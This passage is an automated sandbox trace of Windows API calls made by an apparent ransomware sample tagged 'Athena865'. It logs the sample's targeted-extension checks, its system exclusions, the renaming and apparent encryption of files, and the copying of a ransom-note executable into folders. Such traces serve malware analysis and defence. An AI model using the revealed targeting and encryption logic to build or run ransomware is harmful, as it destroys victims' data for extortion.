(lpString="eco") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="eco") returned 1 [0092.443] lstrlenW (lpString="ecx") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1 [0092.443] lstrlenW (lpString="edb") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1 [0092.443] lstrlenW (lpString="epim") returned 4 [0092.443] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0092.443] lstrlenW (lpString="fcd") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0092.443] lstrlenW (lpString="fdb") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0092.443] lstrlenW (lpString="fic") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0092.443] lstrlenW (lpString="flexolibrary") returned 12 [0092.443] lstrlenW (lpString="fm5") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0092.443] lstrlenW (lpString="fmp") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0092.443] lstrlenW (lpString="fmp12") returned 5 [0092.443] lstrcmpiW (lpString1="t.htm", lpString2="fmp12") returned 1 [0092.443] lstrlenW (lpString="fmpsl") returned 5 [0092.443] lstrcmpiW (lpString1="t.htm", lpString2="fmpsl") returned 1 [0092.443] lstrlenW (lpString="fol") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0092.443] lstrlenW (lpString="fp3") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0092.443] lstrlenW (lpString="fp4") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0092.443] lstrlenW (lpString="fp5") returned 3 [0092.443] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0092.444] lstrlenW (lpString="fp7") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0092.444] lstrlenW (lpString="fpt") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0092.444] lstrlenW (lpString="frm") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0092.444] lstrlenW (lpString="gdb") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.444] lstrlenW (lpString="gdb") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.444] lstrlenW (lpString="grdb") returned 4 [0092.444] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0092.444] lstrlenW (lpString="gwi") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0092.444] lstrlenW (lpString="hdb") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0092.444] lstrlenW (lpString="his") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0092.444] lstrlenW (lpString="ib") returned 2 [0092.444] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0092.444] lstrlenW (lpString="idb") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0092.444] lstrlenW (lpString="ihx") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0092.444] lstrlenW (lpString="itdb") returned 4 [0092.444] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0092.444] lstrlenW (lpString="itw") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0092.444] lstrlenW (lpString="jet") returned 3 [0092.444] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0092.445] lstrlenW (lpString="jtx") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0092.445] lstrlenW (lpString="kdb") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0092.445] lstrlenW (lpString="kexi") returned 4 [0092.445] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0092.445] lstrlenW (lpString="kexic") returned 5 [0092.445] lstrcmpiW (lpString1="t.htm", lpString2="kexic") returned 1 [0092.445] lstrlenW (lpString="kexis") returned 5 [0092.445] lstrcmpiW (lpString1="t.htm", lpString2="kexis") returned 1 [0092.445] lstrlenW (lpString="lgc") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0092.445] lstrlenW (lpString="lwx") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0092.445] lstrlenW (lpString="maf") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0092.445] lstrlenW (lpString="maq") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0092.445] lstrlenW (lpString="mar") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0092.445] lstrlenW (lpString="marshal") returned 7 [0092.445] lstrcmpiW (lpString1="nut.htm", lpString2="marshal") returned 1 [0092.445] lstrlenW (lpString="mas") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0092.445] lstrlenW (lpString="mav") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0092.445] lstrlenW (lpString="maw") returned 3 [0092.445] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0092.445] lstrlenW (lpString="mdbhtml") returned 7 [0092.445] lstrcmpiW (lpString1="nut.htm", lpString2="mdbhtml") returned 1 [0092.446] lstrlenW (lpString="mdn") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0092.446] lstrlenW (lpString="mdt") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0092.446] lstrlenW (lpString="mfd") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0092.446] lstrlenW (lpString="mpd") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0092.446] lstrlenW (lpString="mrg") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0092.446] lstrlenW (lpString="mud") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0092.446] lstrlenW (lpString="mwb") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0092.446] lstrlenW (lpString="myd") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0092.446] lstrlenW (lpString="ndf") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0092.446] lstrlenW (lpString="nnt") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0092.446] lstrlenW (lpString="nrmlib") returned 6 [0092.446] lstrcmpiW (lpString1="ut.htm", lpString2="nrmlib") returned 1 [0092.446] lstrlenW (lpString="ns2") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0092.446] lstrlenW (lpString="ns3") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0092.446] lstrlenW (lpString="ns4") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0092.446] lstrlenW (lpString="nsf") returned 3 [0092.446] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0092.447] lstrlenW (lpString="nv") returned 2 [0092.447] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0092.447] lstrlenW (lpString="nv2") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0092.447] lstrlenW (lpString="nwdb") returned 4 [0092.447] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1 [0092.447] lstrlenW (lpString="nyf") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0092.447] lstrlenW (lpString="odb") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.447] lstrlenW (lpString="odb") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.447] lstrlenW (lpString="oqy") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0092.447] lstrlenW (lpString="ora") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0092.447] lstrlenW (lpString="orx") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0092.447] lstrlenW (lpString="owc") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0092.447] lstrlenW (lpString="p96") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0092.447] lstrlenW (lpString="p97") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0092.447] lstrlenW (lpString="pan") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0092.447] lstrlenW (lpString="pdb") returned 3 [0092.447] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0092.447] lstrlenW (lpString="pdm") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0092.448] lstrlenW (lpString="pnz") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0092.448] lstrlenW (lpString="qry") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0092.448] lstrlenW (lpString="qvd") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0092.448] lstrlenW (lpString="rbf") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0092.448] lstrlenW (lpString="rctd") returned 4 [0092.448] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0092.448] lstrlenW (lpString="rod") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0092.448] lstrlenW (lpString="rodx") returned 4 [0092.448] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0092.448] lstrlenW (lpString="rpd") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0092.448] lstrlenW (lpString="rsd") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0092.448] lstrlenW (lpString="sas7bdat") returned 8 [0092.448] lstrcmpiW (lpString1="inut.htm", lpString2="sas7bdat") returned -1 [0092.448] lstrlenW (lpString="sbf") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0092.448] lstrlenW (lpString="scx") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0092.448] lstrlenW (lpString="sdb") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0092.448] lstrlenW (lpString="sdc") returned 3 [0092.448] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0092.448] lstrlenW (lpString="sdf") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0092.449] lstrlenW (lpString="sis") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0092.449] lstrlenW (lpString="spq") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0092.449] lstrlenW (lpString="te") returned 2 [0092.449] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0092.449] lstrlenW (lpString="teacher") returned 7 [0092.449] lstrcmpiW (lpString1="nut.htm", lpString2="teacher") returned -1 [0092.449] lstrlenW (lpString="tmd") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0092.449] lstrlenW (lpString="tps") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0092.449] lstrlenW (lpString="trc") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.449] lstrlenW (lpString="trc") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.449] lstrlenW (lpString="trm") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0092.449] lstrlenW (lpString="udb") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0092.449] lstrlenW (lpString="udl") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0092.449] lstrlenW (lpString="usr") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0092.449] lstrlenW (lpString="v12") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0092.449] lstrlenW (lpString="vis") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0092.449] lstrlenW (lpString="vpd") returned 3 [0092.449] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0092.450] lstrlenW (lpString="vvv") returned 3 [0092.450] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0092.450] lstrlenW (lpString="wdb") returned 3 [0092.450] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0092.450] lstrlenW (lpString="wmdb") returned 4 [0092.450] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0092.450] lstrlenW (lpString="wrk") returned 3 [0092.450] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0092.450] lstrlenW (lpString="xdb") returned 3 [0092.450] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0092.450] lstrlenW (lpString="xld") returned 3 [0092.450] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0092.450] lstrlenW (lpString="xmlff") returned 5 [0092.450] lstrcmpiW (lpString1="t.htm", lpString2="xmlff") returned -1 [0092.450] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.Athena865") returned 63 [0092.450] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm.athena865"), dwFlags=0x1) returned 1 [0092.451] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LueMinut.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\lueminut.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.451] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17230) returned 1 [0092.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.451] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.451] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.452] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.452] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.452] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4650, lpName=0x0) returned 0x154 [0092.454] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4650) returned 0x100000 [0092.475] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.475] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.476] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.476] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.476] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.476] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.477] CloseHandle (hObject=0x154) returned 1 [0092.477] CloseHandle (hObject=0x17c) returned 1 [0092.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.477] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.477] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83849600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83849600, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Reader", cAlternateFileName="")) returned 1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2=".") returned 1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2="..") returned 1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2="windows") returned -1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2="bootmgr") returned 1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2="temp") returned -1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2="pagefile.sys") returned 1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2="boot") returned 1 [0092.477] lstrcmpiW (lpString1="Reader", lpString2="ids.txt") returned 1 [0092.478] lstrcmpiW (lpString1="Reader", lpString2="ntuser.dat") returned 1 [0092.478] lstrcmpiW (lpString1="Reader", lpString2="perflogs") returned 1 [0092.478] lstrcmpiW (lpString1="Reader", lpString2="MSBuild") returned 1 [0092.478] lstrlenW (lpString="Reader") returned 6 [0092.478] lstrcpyW (in: lpString1=0x241e89a, lpString2="Reader" | out: lpString1="Reader") returned="Reader" [0092.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b840 [0092.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51bae8 [0092.478] lstrcatW (in: lpString1="Reader", lpString2="\\" | out: lpString1="Reader\\") returned="Reader\\" [0092.478] lstrcatW (in: lpString1="Reader\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Reader\\HOW TO BACK YOUR FILES.exe") returned="Reader\\HOW TO BACK YOUR FILES.exe" [0092.478] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.480] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4176, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReadMe.htm", cAlternateFileName="")) returned 1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2=".") returned 1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2="..") returned 1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2="windows") returned -1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2="bootmgr") returned 1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2="temp") returned -1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2="pagefile.sys") returned 1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2="boot") returned 1 [0092.480] lstrcmpiW (lpString1="ReadMe.htm", lpString2="ids.txt") returned 1 [0092.481] lstrcmpiW (lpString1="ReadMe.htm", lpString2="ntuser.dat") returned 1 [0092.481] lstrcmpiW (lpString1="ReadMe.htm", lpString2="perflogs") returned 1 [0092.481] lstrcmpiW (lpString1="ReadMe.htm", lpString2="MSBuild") returned 1 [0092.481] lstrlenW (lpString="ReadMe.htm") returned 10 [0092.481] lstrcpyW (in: lpString1=0x241e89a, lpString2="ReadMe.htm" | out: lpString1="ReadMe.htm") returned="ReadMe.htm" [0092.481] lstrlenW (lpString="ReadMe.htm") returned 10 [0092.481] lstrlenW (lpString="Athena865") returned 9 [0092.481] lstrcmpiW (lpString1="eadMe.htm", lpString2="Athena865") returned 1 [0092.481] lstrlenW (lpString=".dll") returned 4 [0092.481] lstrcmpiW (lpString1="ReadMe.htm", lpString2=".dll") returned 1 [0092.481] lstrlenW (lpString=".lnk") returned 4 [0092.481] lstrcmpiW (lpString1="ReadMe.htm", lpString2=".lnk") returned 1 [0092.481] lstrlenW (lpString=".ini") returned 4 [0092.481] lstrcmpiW (lpString1="ReadMe.htm", lpString2=".ini") returned 1 [0092.481] lstrlenW (lpString=".sys") returned 4 [0092.481] lstrcmpiW (lpString1="ReadMe.htm", lpString2=".sys") returned 1 [0092.481] lstrlenW (lpString="ReadMe.htm") returned 10 [0092.481] lstrlenW (lpString="bak") returned 3 [0092.481] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.481] lstrlenW (lpString="ba_") returned 3 [0092.481] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.481] lstrlenW (lpString="dbb") returned 3 [0092.481] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.481] lstrlenW (lpString="vmdk") returned 4 [0092.481] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.481] lstrlenW (lpString="rar") returned 3 [0092.481] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.481] lstrlenW (lpString="zip") returned 3 [0092.481] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.481] lstrlenW (lpString="tgz") returned 3 [0092.481] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.481] lstrlenW (lpString="vbox") returned 4 [0092.482] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.482] lstrlenW (lpString="vdi") returned 3 [0092.482] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.482] lstrlenW (lpString="vhd") returned 3 [0092.482] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.482] lstrlenW (lpString="vhdx") returned 4 [0092.482] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.482] lstrlenW (lpString="avhd") returned 4 [0092.482] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.482] lstrlenW (lpString="db") returned 2 [0092.482] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.482] lstrlenW (lpString="db2") returned 3 [0092.482] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.482] lstrlenW (lpString="db3") returned 3 [0092.482] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.482] lstrlenW (lpString="dbf") returned 3 [0092.482] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.482] lstrlenW (lpString="mdf") returned 3 [0092.482] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.482] lstrlenW (lpString="mdb") returned 3 [0092.482] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.482] lstrlenW (lpString="sql") returned 3 [0092.482] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.482] lstrlenW (lpString="sqlite") returned 6 [0092.482] lstrcmpiW (lpString1="Me.htm", lpString2="sqlite") returned -1 [0092.482] lstrlenW (lpString="sqlite3") returned 7 [0092.482] lstrcmpiW (lpString1="dMe.htm", lpString2="sqlite3") returned -1 [0092.482] lstrlenW (lpString="sqlitedb") returned 8 [0092.482] lstrcmpiW (lpString1="adMe.htm", lpString2="sqlitedb") returned -1 [0092.482] lstrlenW (lpString="xml") returned 3 [0092.482] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.483] lstrlenW (lpString="$er") returned 3 [0092.483] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.483] lstrlenW (lpString="4dd") returned 3 [0092.483] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.483] lstrlenW (lpString="4dl") returned 3 [0092.483] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.483] lstrlenW (lpString="^^^") returned 3 [0092.483] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.483] lstrlenW (lpString="abs") returned 3 [0092.483] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.483] lstrlenW (lpString="abx") returned 3 [0092.483] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.483] lstrlenW (lpString="accdb") returned 5 [0092.483] lstrcmpiW (lpString1="e.htm", lpString2="accdb") returned 1 [0092.483] lstrlenW (lpString="accdc") returned 5 [0092.483] lstrcmpiW (lpString1="e.htm", lpString2="accdc") returned 1 [0092.483] lstrlenW (lpString="accde") returned 5 [0092.483] lstrcmpiW (lpString1="e.htm", lpString2="accde") returned 1 [0092.483] lstrlenW (lpString="accdr") returned 5 [0092.483] lstrcmpiW (lpString1="e.htm", lpString2="accdr") returned 1 [0092.483] lstrlenW (lpString="accdt") returned 5 [0092.483] lstrcmpiW (lpString1="e.htm", lpString2="accdt") returned 1 [0092.483] lstrlenW (lpString="accdw") returned 5 [0092.483] lstrcmpiW (lpString1="e.htm", lpString2="accdw") returned 1 [0092.483] lstrlenW (lpString="accft") returned 5 [0092.483] lstrcmpiW (lpString1="e.htm", lpString2="accft") returned 1 [0092.483] lstrlenW (lpString="adb") returned 3 [0092.483] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.483] lstrlenW (lpString="adb") returned 3 [0092.483] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.483] lstrlenW (lpString="ade") returned 3 [0092.483] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.484] lstrlenW (lpString="adf") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.484] lstrlenW (lpString="adn") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.484] lstrlenW (lpString="adp") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.484] lstrlenW (lpString="alf") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.484] lstrlenW (lpString="ask") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.484] lstrlenW (lpString="btr") returned 3 [0092.484] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.484] lstrlenW (lpString="cat") returned 3 